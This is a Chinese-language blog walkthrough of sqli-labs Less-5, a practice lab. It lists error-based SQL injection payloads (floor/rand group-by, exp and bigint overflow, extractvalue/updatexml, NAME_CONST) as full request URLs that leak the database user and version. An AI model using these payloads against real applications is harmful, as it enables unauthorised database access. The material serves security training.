0%

sqli-labs靶场Less-5(报错盲注)

Less5

下面使用报错盲注来演示

BUG #8652报错盲注

sql语句:

1
union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27%20union%20Select%201,count(*),concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand(0)*2))a%20from%20information_schema.columns%20group%20by%20a--+

image

利用double数值类型超出范围进行报错注入

sql语句:

1
union select (exp(~(select * FROM(SELECT USER())a))),2, 3

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27%20union%20select%20(exp(~(select%20*%20FROM(SELECT%20USER())a))),2,%203--+

image

利用 bigint 溢出进行报错注入

sql语句:

1
union select (!(select * from (select user())x) - ~0),2,3

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27%20union%20select%20(!(select%20*%20from%20(select%20user())x)%20-%20~0),2,3--+

image

xpath函数报错注入

使用extractvalue()函数

sql语句:

1
extractvalue(1,concat(0x7e,(select @@version),0x7e))

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20@@version),0x7e))--+

image

使用updatexml()函数

sql语句:

1
updatexml(1,concat(0x7e,(select user()),0x7e),1)

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+

image

利用数据的重复性报错注入

sql语句:

1
union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x

请求payload:

1
http://47.101.62.20:11567/Less-5/?id=1%27union%20select%201,2,3%20from%20(select%20NAME_CONST(version(),1),%20NAME_CONST(version(),1))x%20--+

image